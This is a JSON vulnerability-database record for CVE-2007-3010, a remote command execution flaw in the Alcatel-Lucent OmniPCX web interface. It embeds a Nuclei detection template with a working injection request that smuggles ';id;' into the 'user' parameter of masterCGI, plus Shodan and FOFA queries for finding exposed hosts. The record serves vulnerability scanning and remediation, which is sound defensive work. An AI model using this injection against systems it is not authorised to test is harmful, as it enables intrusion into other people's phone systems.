{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2007-3010/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2007-3010/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2007-3010/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2007-3010/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2007-3010/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2007-3010"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2007-3010"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2007/CVE-2007-3010.yaml",
    "nuclei_template_severity": "critical",
    "nuclei_template_yaml": "id: CVE-2007-3010\n\ninfo:\n  name: Alcatel-Lucent OmniPCX - Remote Command Execution\n  author: king-alexander\n  severity: critical\n  description: |\n    The OmniPCX web interface has a script \"masterCGI\" with a remote command execution vulnerability via the \"user\" parameter.\n  impact: |\n    Any user with access to the web interface could execute arbitrary commands with the permissions of the webservers.\n  remediation: |\n    Update to supported versions that filter shell metacharacters in the \"user\" parameter.\n  reference:\n    - https://nvd.nist.gov/vuln/detail/CVE-2007-3010\n    - https://marc.info/?l=full-disclosure&m=119002152126755&w=2\n    - http://www.redteam-pentesting.de/advisories/rt-sa-2007-001.php\n    - http://www.vupen.com/english/advisories/2007/3185\n    - http://www1.alcatel-lucent.com/psirt/statements/2007002/OXEUMT.htm\n  classification:\n    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:C/I:C/A:C\n    cvss-score: 10\n    cve-id: CVE-2007-3010\n    cwe-id: CWE-20\n    epss-score: 0.97407\n    epss-percentile: 0.99896\n    cpe: cpe:2.3:a:alcatel-lucent:omnipcx:7.1:*:enterprise:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: alcatel-lucent\n    product: omnipcx\n    shodan-query:\n      - title:\"OmniPCX for Enterprise\"\n      - http.title:\"omnipcx for enterprise\"\n    fofa-query:\n      - app=\"Alcatel_Lucent-OmniPCX-Enterprise\"\n      - app=\"alcatel_lucent-omnipcx-enterprise\"\n      - title=\"omnipcx for enterprise\"\n    google-query: intitle:\"omnipcx for enterprise\"\n  tags: cve,cve2007,kev,rce,alcatel,alcatel-lucent,vkev,vuln\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/cgi-bin/masterCGI?ping=nomip&user=;id;\"\n\n    matchers-condition: and\n    matchers:\n      - type: regex\n        part: body\n        regex:\n          - \"uid=[0-9]+.*gid=[0-9]+.*\"\n\n      - type: word\n        part: body\n        words:\n          - \"<TITLE>master</TITLE>\"\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a004730450220481d1d137b60e6b011cb1c39ca45ad8942f8579b0e21340bfde2e2841ac5a6420221009669de93a89bde374bee51589284c4f544ba1cead78e152e504367bbedbea8b2:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2007-3010"
}